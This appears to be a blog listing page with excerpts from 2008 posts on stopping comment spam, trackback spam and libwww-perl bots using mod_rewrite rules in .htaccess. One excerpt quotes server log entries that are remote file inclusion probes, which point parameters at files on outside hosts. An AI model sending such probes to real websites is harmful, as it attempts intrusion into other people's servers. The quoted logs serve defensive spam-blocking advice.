Comment spammers, trackback spam, stupid bots and AVG linkscanner eating into your bandwidth and server resources? Here’s how to put a dent in their activities with a few mod_rewrite rules. I hate those blogs that send me fake trackbacks and pingbacks. Unfortunately it’s impossible to stop but this morning I figured out a way of [...]
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- Tags: AVG, comment-spam, irishblogs, linkscanner, mod_rewrite, spam, WordPress
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If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805″ GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805″ GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805″ GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579″ If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this [...]
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- Tags: apache, irishblogs, libwww-perl, mod_rewrite, WordPress, WP-Cache
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More ways to stop spammers and unwanted traffic
Donncha O Caoimh | July 3, 2008 | 67 comments
Comment spammers, trackback spam, stupid bots and AVG linkscanner eating into your bandwidth and server resources? Here’s how to put a dent in their activities with a few mod_rewrite rules. I hate those blogs that send me fake trackbacks and pingbacks. Unfortunately it’s impossible to stop but this morning I figured out a way of [...]
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